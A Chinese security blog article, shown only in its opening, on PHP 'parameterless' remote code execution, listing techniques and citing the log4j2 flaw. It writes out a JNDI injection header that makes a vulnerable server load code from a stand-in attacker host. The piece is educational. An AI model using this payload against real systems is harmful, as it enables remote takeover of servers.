当前位置: 首页 > article >正文

【网络安全 | 代码审计】PHP无参数RCE

未经许可,不得转载。

文章目录

    • 无参数RCE
    • 代码审计
    • 1、利用Session ID实现无参数RCE
    • 2、利用get_defined_vars ()函数实现无参数RCE
    • 3、利用getallheaders()实现无参数RCE
    • 4、利用getenv()实现无参数RCE
    • 5、利用scandir()实现无参数RCE
    • 靶场实例

无参数RCE

一般情况下,RCE需要通过传递特定的输入(如URL参数、POST请求数据、表单数据等)来触发漏洞并执行恶意代码。而无参数RCE是一种特殊的远程代码执行漏洞,它的特点是通过调用多个函数(或利用系统中已有的代码路径)来实现远程代码执行,而无需显式的参数。

例如,log4j2 漏洞(CVE-2021-44228)就是一个经典的无参数RCE示例:

在这里插入图片描述

https://blog.cloudflare.com/zh-cn/inside-the-log4j2-vulnerability-cve-2021-44228/

当请求头中的 User-Agent 被修改为如下内容时:

User-Agent: ${jndi:ldap://attacker-server.com/exploit}

日志框架会自动解析该用户代理头并执行外部服务器上


http://www.kler.cn/a/314573.html

相关文章:

  • 《TCP/IP网络编程》学习笔记 | Chapter 11:进程间通信
  • 弹性盒子布局(Flexbox)详细介绍
  • scala的练习题
  • 计算机的错误计算(一百五十二)
  • 即插即用篇 | YOLOv8 引入 代理注意力 AgentAttention
  • R语言机器学习与临床预测模型69--机器学习模型解释利器:SHAP
  • 从图像处理到字符识别:基于STM32与C语言的车牌识别系统实现
  • HarmonyOS开发者基础认证考试试题
  • 基于mockito做单元测试
  • 16【Protues51单片机仿真】智能洗衣机倒计时系统
  • 【如何在 Windows 10 主机上通过 VMware 安装 Windows 11 虚拟机,并共享主机网络】
  • ftp服务的管理及安全优化
  • Google 扩展 Chrome 安全和隐私功能
  • C/C++通过CLion2024进行Linux远程开发保姆级教学
  • io多路复用:epoll水平触发(LT)和边沿触发(ET)的区别和优缺点
  • Linux 自旋锁
  • Spring Mybatis 动态语句 总结
  • 简单生活的快乐
  • (k8s)kubernetes集群基于Containerd部署
  • Flask-SQLAlchemy一对多 一对一 多对多关联
  • GDPU Andriod移动应用 Activity
  • 【数据结构与算法】LeetCode:哈希表
  • Alinx MPSoC驱动开发第17章I2C实验修改设备树后petalinux编译报错
  • 分布式Id生成策略-美团Leaf
  • 使用python对图像批量水平变换和垂直变换
  • 深度学习参数管理